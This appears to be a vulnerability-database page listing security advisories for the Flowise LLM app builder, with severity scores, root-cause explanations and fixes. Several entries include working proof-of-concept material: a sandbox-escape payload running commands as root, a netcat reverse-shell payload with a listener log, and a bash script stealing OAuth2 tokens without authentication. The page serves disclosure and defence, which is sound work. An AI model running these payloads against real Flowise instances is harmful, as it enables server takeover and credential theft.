Where
-Infinity
0
Severity
10
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Flowise contains a path traversal vulnerability in the /api/v1/document-store/loader/process endpoint that allows unauthenticated attackers to write arbitrary files to the filesystem. Attackers can exploit unsanitized fileName parameters with ../ sequences to overwrite critical files like package.json and achieve remote code execution when the application restarts.

First published (updated )
Severity
9.8
Input Validation
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODEOPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance. This vulnerability is fixed in 3.1.0.

First published (updated )
Severity
9.4
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like childprocess and fs.

Details The vulnerability is in packages/components/src/utils.ts at line 1755:

typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

async (code, sandbox, options = {}) => { const { nodeVMOptions = {} } = options; // ... const defaultNodeVMOptions = { require: { builtin: builtinDeps, // restricted allowlist — blocks childprocess, fs, os, etc. mock: secureWrappers }, eval: false, wasm: false } const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings const vm = new NodeVM(finalNodeVMOptions) } The spread operator allows any caller to override require.builtin with [""], which permits all Node.js built-in modules including childprocess.

Taint 01: Route Registration packages/server/src/routes/node-custom-functions/index.ts (line 8) Taint 02: Controller executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90) Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49) Taint 04: Sandbox Entry Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760) Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: [""] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions } Taint 07: RCE Inside the nested VM, require("childprocess") succeeds. Arbitrary commands execute as root.

PoC Step 1: Start Flowise bash docker run -d --name flowise-poc -p 3000:3000 \ -e PORT=3000 -e DISABLEFLOWISETELEMETRY=true \ flowiseai/flowise:latest # Wait ~30s for startup curl http://localhost:3000/api/v1/version # {"version":"3.1.1"} Step 2: Obtain Bearer Token

Register an account, then create an API key: bash # Register curl -s -X POST http://localhost:3000/api/v1/account/register \ -H "Content-Type: application/json" \ -d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}' # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create) # Copy the key — this is the Bearer token used below. Step 3: Create Payload bash cat > exploit.json << 'EOF' { "javascriptFunction": "const utils = require('/usr/local/lib/nodemodules/flowise/nodemodules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"childprocess\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\"); return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"\"] } } })" } EOF

Step 4: Exploit

bash # Pre-check: file does not exist docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt # ls: /tmp/RCE-PROOF.txt: No such file or directory # Execute curl -X POST http://localhost:3000/api/v1/node-custom-function \ -H "Content-Type: application/json" \ -H "Authorization: Bearer <TOKEN>" \ -d @exploit.json # "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n" docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt # -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt docker exec flowise-poc cat /tmp/RCE-PROOF.txt # uid=0(root) gid=0(root) groups=0(root)... docker exec flowise-poc cat /root/.flowise/encryption.key # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb <img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />

Impact Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwtauthtokensecret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Flowise contains an authentication bypass vulnerability in the unprotected /api/v1/account/register endpoint that allows unauthenticated attackers to create user accounts. Remote attackers can exploit this endpoint to register arbitrary accounts and authenticate to the system, gaining full API access without credentials.

First published (updated )
Severity
9.3
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise through 2.2.4 contains an unauthenticated arbitrary file upload vulnerability in the /api/v1/attachments endpoint when storageType is set to local. Attackers can exploit path traversal in the chatId and chatflowId parameters to upload malicious files to arbitrary directories, potentially enabling remote code execution and server compromise.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses a weak hardcoded default secret ('flowise') for the express-session middleware when the EXPRESSSESSIONSECRET environment variable is not set (packages/server/src/enterprise/middleware/passport/index.ts). Because this default secret is publicly visible in the source code, an attacker can forge valid signed session cookies to impersonate any user and bypass authentication.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses weak hardcoded default JWT secrets ('authtoken', 'refreshtoken') and default audience and issuer values ('AUDIENCE', 'ISSUER') in the enterprise passport authentication middleware (packages/server/src/enterprise/middleware/passport/index.ts). When the corresponding environment variables (JWTAUTHTOKENSECRET, JWTREFRESHTOKENSECRET, JWTAUDIENCE, JWTISSUER) are not set, the application silently falls back to these publicly known defaults, allowing an attacker to forge valid JWTs and impersonate any user, including administrators, resulting in authentication bypass.

First published (updated )
Severity
9
Code Injection, SQL Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================= Security Advisory elttam

Topic: Flowise RCE via TypeORM DataSource

Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.

II. Problem Description

The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:

packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts packages/components/nodes/memory/AgentMemory/AgentMemory.ts

This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.

The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:

1. Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.

http HTTP/1.1 200 OK Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax Content-Type: application/json; charset=utf-8 Content-Length: 671 ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE" Date: Wed, 15 Apr 2026 10:58:44 GMT Connection: keep-alive Keep-Alive: timeout=5

{ "activeOrganizationCustomerId": null, "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1> "activeOrganizationProductId": "", "activeOrganizationSubscriptionId": null, "activeWorkspace": "Default Workspace", "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e", "assignedWorkspaces": [ { "id": "3206d8d3-944f-48c6-9332-11e2752b793e", "name": "Default Workspace", "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1> "role": "owner" } ], "email": "admin@flowise.local", "features": {}, "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab", "isOrganizationAdmin": true, "isSSO": false, "name": "Admin", "permissions": [ "organization", "workspace" ], "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1" } <1> The organisation ID that is required for a later step.

2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.

js process.mainModule.require('childprocess').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')

3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the POST /api/v1/document-store/loader/process/{loaderid} endpoint and retrieve the storeId, as demonstrated in the response below.

http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 1000 ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o" Date: Wed, 15 Apr 2026 10:59:34 GMT Connection: keep-alive Keep-Alive: timeout=5

{ "characters": 94, "chunks": [ { "chunkNo": 1, "docId": "544ff838-bc55-4b28-97a1-c7442710b014", "id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0", "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}", "pageContent": "process.mainModule.require('childprocess').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')", "storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1> } ], "count": 1, "currentPage": 1, "description": "", "docId": "544ff838-bc55-4b28-97a1-c7442710b014", "file": { "files": [ { "id": "5becc8f6-713b-4c6b-8ca8-3275791a730c", "mimePrefix": "application/x-javascript", "name": "rce.js", "size": 94, "status": "NEW", "uploaded": "2026-04-15T10:59:34.039Z" } ], "id": "544ff838-bc55-4b28-97a1-c7442710b014", "loaderConfig": { "file": "FILE-STORAGE::[\"rce.js\"]", "legacyBuild": "", "metadata": "", "omitMetadataKeys": "", "pointerName": "", "textSplitter": "", "usage": "perPage" }, "loaderId": "fileLoader", "loaderName": "RCE File", "status": "SYNC", "totalChars": 94, "totalChunks": 1 }, "storeName": "RCE POC Store", "workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e" } <1> The store ID that is required for a later step.

4. Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.

typeorm-datasource-rce.json

5. Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the additionalConfig.entities setting. The ${HOME} is the home directory of the user running the Flowise server (e.g., /root on the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.

<img width="2229" height="1148" alt="mysql-datasource-config" src="https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2" />

6. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.

$ nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 43421 id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

III. Impact

This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.

IV. Solution

Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:

extra: Could be abused to provide dangerous driver options. entities: Could be abused to load arbitrary JavaScript files. subscribers: Could be abused to load arbitrary JavaScript files. migrations: Could be abused to load arbitrary JavaScript files.

1 / 2
Source: GitHub
First published (updated )
Severity
9
Code Injection
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise before 3.1.3 contains a code injection vulnerability in the CSV Agent node's customReadCSV parameter that allows authenticated attackers to execute arbitrary Python code. The validator uses a static regex blocklist that can be bypassed through obfuscation techniques, enabling attackers to execute code in the unsandboxed pyodide environment with full system access.

First published (updated )
Severity
9
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise versions before 3.1.3 contain a remote code execution vulnerability in the Custom MCP node when CUSTOMMCPPROTOCOL is set to stdio, allowing authenticated users to execute arbitrary commands by manipulating environment variables and command arguments. Attackers can abuse PYTHONWARNINGS and BROWSER environment variables with python3, or leverage the root working directory with node to bypass validation and execute system commands.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Flowise before 3.0.10 contains an unverified password change vulnerability. An authenticated user can change their account password through the account settings (Security) section without supplying the current password or any additional verification, as the application does not enforce a current-password check on the credential change. This can lead to full account takeover, particularly if an attacker can hijack or coerce an authenticated session.

First published (updated )
Severity
8.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise before 3.1.3 contains a sandbox escape vulnerability in pythonCodeValidator.ts that fails to block native Pandas DataFrame methods like tocsv, tojson, pipe, and query. Authenticated attackers can exploit this to exfiltrate uploaded CSV data or write arbitrary files to the server filesystem.

First published (updated )
Severity
8.5
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Flowise through 3.1.4 contains an insecure direct object reference vulnerability in the OpenAI Assistants integration that allows authenticated attackers to access credentials belonging to other workspaces by supplying an arbitrary credential UUID to Assistants endpoints without workspace ownership verification. Attackers can enumerate cross-workspace assistant metadata, retrieve file and vector store listings, and upload files into victim workspaces by exploiting the missing workspace-scoped authorization check in the credential lookup logic.

First published (updated )
Severity
7.6
SQL Injection
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Flowise <= 2.2.3 is vulnerable to SQL Injection. via tableName parameter at PostgresVectorStores.

First published (updated )
Severity
7.6
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:

1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces. 2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential. 3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.

---

Root Cause

Vulnerable code: no workspace scoping

All three OAuth2 handlers query the Credential table by id only:

packages/server/src/routes/oauth2/index.ts:80-82 (authorize) typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter })

packages/server/src/routes/oauth2/index.ts:183-185 (callback) typescript const credential = await credentialRepository.findOneBy({ id: state as string // Missing: workspaceId filter })

packages/server/src/routes/oauth2/index.ts:314-316 (refresh) typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter })

Correct pattern (same codebase)

The standard credential service correctly enforces workspace isolation:

packages/server/src/services/credentials/index.ts:130-132 typescript const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({ id: credentialId, workspaceId: workspaceId // <-- Workspace scoping present })

Authentication bypass via whitelist

packages/server/src/utils/constants.ts:40-41 typescript export const WHITELISTURLS = [ // ... '/api/v1/oauth2-credential/callback', // line 40 '/api/v1/oauth2-credential/refresh', // line 41 // ... ]

packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth: typescript const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) if (isWhitelisted) { next() // No JWT verification, no API key check }

---

Attack Scenarios

Scenario A: Cross-Workspace Credential Metadata Leak

An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's clientid, scope, and redirecturi.

POST /api/v1/oauth2-credential/authorize/<VICTIMCREDENTIALUUID> Cookie: connect.sid=<ATTACKERSESSION>

Response: json { "success": true, "credentialId": "<VICTIMCREDENTIALUUID>", "authorizationUrl": "https://provider.com/oauth2/authorize?clientid=LEAKEDCLIENTID&scope=LEAKEDSCOPE&...", "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback" }

Scenario B: Unauthenticated Token Injection via Forged Callback

The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.

GET /api/v1/oauth2-credential/callback?code=ATTACKERAUTHCODE&state=<VICTIMCREDENTIALUUID> (No authentication required)

The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):

typescript await credentialRepository.update(credential.id, { encryptedData, // Contains attacker-controlled token data updatedDate: new Date() })

Scenario C: Unauthenticated Token Refresh

An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refreshtoken, exchanges it at the accessTokenUrl, and returns fresh token metadata.

POST /api/v1/oauth2-credential/refresh/<VICTIMCREDENTIALUUID> (No authentication required)

Response: json { "success": true, "credentialId": "<VICTIMCREDENTIALUUID>", "tokenInfo": { "accesstoken": "new-access-token-value", "tokentype": "Bearer", "expiresin": 3600, "hasnewrefreshtoken": false, "expiresat": "2026-04-13T12:00:00.000Z" } }

The fresh accesstoken is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.

---

Proof of Concept

Prerequisites

- A running Flowise instance with at least two workspaces (Workspace A and Workspace B) - An OAuth2 credential configured in Workspace B (the victim) - The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)

Step 1 — Confirm unauthenticated refresh endpoint is reachable

bash No cookies, no Bearer token — completely unauthenticated FLOWISEURL="https://TARGETINSTANCE" VICTIMCREDID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

curl -s -X POST "${FLOWISEURL}/api/v1/oauth2-credential/refresh/${VICTIMCREDID}" \ -H "Content-Type: application/json"

Expected result if credential exists and has a refresh token: json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "tokenInfo": { "accesstoken": "<VALIDACCESSTOKEN>", "tokentype": "Bearer", "expiresin": 3600, "hasnewrefreshtoken": false, "expiresat": "2026-04-13T..." } }

Expected result if credential not found: json { "success": false, "message": "Credential not found" }

Step 2 — Cross-workspace authorize (requires any valid session)

bash Attacker is authenticated in Workspace A They target a credential UUID from Workspace B ATTACKERCOOKIE="connect.sid=s%3A..."

curl -s -X POST "${FLOWISEURL}/api/v1/oauth2-credential/authorize/${VICTIMCREDID}" \ -H "Cookie: ${ATTACKERCOOKIE}" \ -H "Content-Type: application/json"

Expected result — victim credential's OAuth2 config is leaked: json { "success": true, "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "authorizationUrl": "https://login.microsoftonline.com/.../authorize?clientid=VICTIMCLIENTID&scope=VICTIMSCOPES&...", "redirectUri": "https://TARGETINSTANCE/api/v1/oauth2-credential/callback" }

Step 3 — Forge callback to inject attacker-controlled tokens

bash Attacker sets up a rogue OAuth2 provider that returns crafted tokens, OR intercepts a legitimate flow. The state parameter is the victim credential UUID.

curl -s "${FLOWISEURL}/api/v1/oauth2-credential/callback?code=ATTACKERCODE&state=${VICTIMCREDID}"

The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.

Full automated PoC script

bash #!/usr/bin/env bash set -euo pipefail

---- Configuration ---- FLOWISEURL="${1:?Usage: $0 <flowiseurl> <victimcredentialuuid> [attackercookie]}" VICTIMCREDID="${2:?Usage: $0 <flowiseurl> <victimcredentialuuid> [attackercookie]}" ATTACKERCOOKIE="${3:-}"

echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ===" echo "Target: ${FLOWISEURL}" echo "Credential: ${VICTIMCREDID}" echo ""

--- Attack Vector 1: Unauthenticated token refresh --- echo "[1] Attempting unauthenticated token refresh..." REFRESHRESP=$(curl -s -w "\n%{httpcode}" -X POST \ "${FLOWISEURL}/api/v1/oauth2-credential/refresh/${VICTIMCREDID}" \ -H "Content-Type: application/json")

HTTPCODE=$(echo "${REFRESHRESP}" | tail -1) BODY=$(echo "${REFRESHRESP}" | head -n -1)

if [ "${HTTPCODE}" = "200" ]; then echo "[!] VULNERABLE — Unauthenticated token refresh succeeded" echo " Response: ${BODY}" | head -c 500 echo "" elif echo "${BODY}" | grep -q "Credential not found"; then echo "[] Credential not found (UUID may be invalid)" elif echo "${BODY}" | grep -q "Missing required"; then echo "[] Credential exists but has no refreshtoken (no prior OAuth2 flow)" echo " This still confirms the endpoint is reachable without auth" else echo "[] HTTP ${HTTPCODE}: ${BODY}" | head -c 300 fi echo ""

--- Attack Vector 2: Cross-workspace authorize (needs session) --- if [ -n "${ATTACKERCOOKIE}" ]; then echo "[2] Attempting cross-workspace authorize..." AUTHRESP=$(curl -s -w "\n%{httpcode}" -X POST \ "${FLOWISEURL}/api/v1/oauth2-credential/authorize/${VICTIMCREDID}" \ -H "Cookie: ${ATTACKERCOOKIE}" \ -H "Content-Type: application/json")

HTTPCODE=$(echo "${AUTHRESP}" | tail -1) BODY=$(echo "${AUTHRESP}" | head -n -1)

if [ "${HTTPCODE}" = "200" ]; then echo "[!] VULNERABLE — Cross-workspace credential access confirmed" echo " Leaked authorization URL:" echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo " ${BODY}" | head -c 500 else echo "[] HTTP ${HTTPCODE}: ${BODY}" | head -c 300 fi else echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)" fi echo ""

--- Attack Vector 3: Confirm callback is unauthenticated --- echo "[3] Confirming callback endpoint is unauthenticated..." CALLBACKRESP=$(curl -s -w "\n%{httpcode}" \ "${FLOWISEURL}/api/v1/oauth2-credential/callback?code=poctestcode&state=${VICTIMCREDID}")

HTTPCODE=$(echo "${CALLBACKRESP}" | tail -1)

Any response other than 401/403 confirms the endpoint is reachable without auth. A 400 with "tokenexchangefailed" means the endpoint processed the request (tried to exchange the code) — it just failed at the external provider. if [ "${HTTPCODE}" = "401" ] || [ "${HTTPCODE}" = "403" ]; then echo "[] Callback endpoint returned ${HTTPCODE} — auth is enforced (NOT vulnerable)" else echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTPCODE})" echo " The server attempted to process the OAuth2 callback." echo " With a valid authorization code, tokens would be written to the credential." fi

echo "" echo "=== PoC Complete ==="

---

Impact

| Vector | Auth Required | Impact | |--------|--------------|--------| | Credential metadata leak via /authorize | Low (any session) | Exposes clientid, scope, redirecturi from any workspace's credential | | Token injection via /callback | None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values | | Token theft via /refresh | None | Obtain a fresh accesstoken for any credential's connected service (Microsoft 365, Google, etc.) |

Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.

---

Affected Components

| File | Lines | Issue | |------|-------|-------| | packages/server/src/routes/oauth2/index.ts | 80-82 | findOneBy({ id }) — no workspaceId | | packages/server/src/routes/oauth2/index.ts | 183-185 | findOneBy({ id: state }) — no workspaceId | | packages/server/src/routes/oauth2/index.ts | 314-316 | findOneBy({ id }) — no workspaceId | | packages/server/src/utils/constants.ts | 40 | /callback whitelisted from auth | | packages/server/src/utils/constants.ts | 41 | /refresh whitelisted from auth |

---

Remediation

1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:

typescript // Before (vulnerable) const credential = await credentialRepository.findOneBy({ id: credentialId })

// After (fixed) const credential = await credentialRepository.findOneBy({ id: credentialId, workspaceId: req.user?.activeWorkspaceId })

2. Remove /callback and /refresh from WHITELISTURLS or implement a signed, time-limited state token that authenticates the callback without a session.

3. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).

4. Do not return accesstoken in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Flowise through 3.1.4 contains a missing authorization vulnerability that allows authenticated workspace members to perform unauthorized document store operations by accessing unprotected mutation endpoints. Attackers holding only view-level permissions can send direct HTTP requests to the upsert and refresh document store routes to trigger document ingestion, refresh vector database contents, consume embedding API credits, and modify knowledge bases used by downstream chatflows.

First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise before 3.1.2 sets Access-Control-Allow-Origin to a hardcoded wildcard () on its text-to-speech (TTS) generation endpoint (packages/server/src/controllers/text-to-speech/index.ts), independent of the server's configured CORS policy. This bypasses the server's otherwise restrictive default CORS configuration (getCorsOptions()) and allows any webpage to make cross-origin requests that trigger TTS generation using stored credentials, enabling drive-by cross-origin credential abuse.

First published (updated )
Severity
6
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise versions before 3.1.3 contain an insecure direct object reference vulnerability in the GET /api/v1/organization/customer-default-source endpoint that allows authenticated attackers to access other customers' payment and profile data by manipulating the customerId parameter. Attackers can enumerate predictable customer IDs to retrieve sensitive information including email addresses, account balances, currency types, and billing configurations without authorization checks.

First published (updated )
Severity
2.3
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Flowise before 3.1.3 validates Custom MCP stdio environment variables against a denylist using a case-sensitive comparison, so on Windows, where environment names are case-insensitive, supplying 'nodeoptions' bypasses the NODEOPTIONS denylist entry. An authenticated user who can configure a Custom MCP node can thereby inject NODEOPTIONS --require and execute arbitrary code in the Flowise server context.

First published (updated )

This vulnerability allows remote attackers to bypass authentication on affected installations of Flowise. Authentication is not required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 8.1. The following CVEs are assigned: CVE-2026-41276.

First published (updated )

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 9.8. The following CVEs are assigned: CVE-2026-69264.

First published (updated )
Advisory
ZDI-26-546

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 9.8. The following CVEs are assigned: CVE-2026-69264.

First published (updated )

